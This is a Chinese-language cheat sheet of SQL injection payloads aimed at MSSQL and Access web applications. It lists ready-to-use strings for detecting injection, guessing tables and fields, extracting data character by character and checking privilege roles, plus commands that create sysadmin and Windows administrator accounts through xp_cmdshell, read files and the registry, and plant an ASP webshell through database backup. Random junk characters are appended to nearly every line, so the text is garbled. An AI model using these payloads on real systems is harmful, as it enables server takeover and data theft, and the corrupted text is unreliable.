1.判断是否有注入;and 1=1 ;and 1=2 Mh2Zj
2.初步判断是否是mssql ;and user>0 jwg*\HO,s
6!HYx
3.注入参数是字符'and [查询条件] and ''=' -,+~W#n
}5;/!P_A
4.搜索时没过滤参数的'and [查询条件] and '%25'=' &;bey4_J
XmP,3KG2{S
5.判断数据库系统 h1)ny1;
0#NbAMt
;and (select count(*) from sysobjects)>0 mssql HV'M31m~q
Y>T<Qn^D
;and (select count(*) from msysobjects)>0 access ::_bEmk
J/QqwoR
j/jFS]iC
<J>k%,:B
6.猜数据库 ;and (select Count(*) from [数据库名])>0 P:WxhO/
9 ^8_^F
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 WL|<xNL
_f~$iY
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 e=s({V
9 I:3
9.(1)猜字段的ascii值(access) 3mHP=)
O)ose?Z
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 \<hHZS
+4p=a [
(2)猜字段的ascii值(mssql) * H~=dPC
[%P[ x]-
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 f1S%p
B6j/"x6N15
10.测试权限结构(mssql) ]4r&Q4d>O
YCVT0d
<(_Tanx9Q
iUFG!,+d
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- d+vAm3.Dg
xSm~V3bc
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- s)?GscPG!
/6F\]JwU
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- \=P(?!v
V(XZ7<& {
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- kT]jJbb"
]0O3kiVQ
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ,xR u74
&grvlK
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- E,dUO;
R!
n7g8I%
;and 1=(select IS_MEMBER('db_owner'));-- 89j:YfA=v
@FZ_[CYg
`e`DSl D>
, hrv
11.添加mssql和系统的帐户 "Ec9.#U/
c[V.j+Iy#^
;exec master.dbo.sp_addlogin username;-- DAg*
;exec master.dbo.sp_password null,username,password;-- orYZ<,u
U<r!G;^`
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- S&.xgBR
mfF `K2R
;exec master.dbo.xp_cmdshell 'net user username password Z4:^#98c.
7=NKbv]
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- )#GF:.B
TyA1Qk\
;exec master.dbo.xp_cmdshell 'net user username password /add';-- BR-wL3x
b
p5py3k
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- )*R';/zaI
>$yA
,N
cW_l |
{2QP6X sJ
12.(1)遍历目录 [$uKI,l
B'mUDW8\D
;create table dirs(paths varchar(100), id int) :>0,MO.^~K
6nJQP a
;insert dirs exec master.dbo.xp_dirtree 'c:\' *YX5bpR?
(`_fP.Ogb
;and (select top 1 paths from dirs)>0 u.G aMl4 (
{LVA_7@
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) BJ\81 R
WMW=RgiW\
ir>S\VT4
Vugb;5Vl
(2)遍历目录 Vr d16s
uix/O*^
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- kma>'P`G
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 pr1bsrMuL
)pe17T1|
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 $pKegK;'z
xX9snSGz
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 r&Qa;-4Pl
#d<|_
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ?RIf0;G
h@'CmIZc
:>o0zG[;f
00s)=A_
13.mssql中的存储过程 XPZ8*8JL
k.jBu
xp_regenumvalues 注册表根键, 子键 49<t2^1q
)y Zr]
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 AlG5n'
i~AReJxt7
xp_regread 根键,子键,键值名 Gg]Jp:GF
%rgW}Z5
;exec xp_regread =F Y2O`%a
pq\N2d
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ASrRMH[
qJf\,7mi
xp_regwrite 根键,子键, 值名, 值类型, 值 8h4]<T
"nb.!OG~(
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ~R~.D
~)`\j
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 @$ju Qm
].5q,A]
xp_regdeletevalue 根键,子键,值名 *9w-eK1{
M#-E
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 x,cvAbwS
$cc]Av4c2
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 U 8p %MFD
=yM%#{t&W
80T2EN:$
lUA-ug! ^
14.mssql的backup创建webshell Bd)Cijr
[}GK rI
use model :<k
(y?GB
nHH
FHnFf
create table cmd(str image); 9$U4x|n
L|:CQ
insert into cmd(str) values (''); /#&jF:h
Q4/BpKL
backup database model to disk='c:\l.asp'; ;Zj(**#H
&zJ\D`\,O
S-ZN}N{,6
m[iQ7/
15.mssql内置函数 md?
cvGDE
#qR 6TM&;
;and (select @@version)>0 获得Windows的版本号 5XzsqeG|
l
9g
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 'RF`XX
?8?vBkz~
;and (select user_name())>0 爆当前系统的连接用户 c0rU&+:Ry
oyY
z3X
;and (select db_name())>0 得到当前连接的数据库 \=[j9'N>
NP.i,H
<1Sj_HCT
W[a"&,okqO
16.简洁的webshell '6e4rn{
)G?\{n-
use model pwS"BTZ
f-|zh#L
create table cmd(str image); j;V\~[I^u
sLJ]N0t
insert into cmd(str) values (''); /V`SJ"
L6i|5 P
backup database model to disk='g:\wwwtest\l.asp';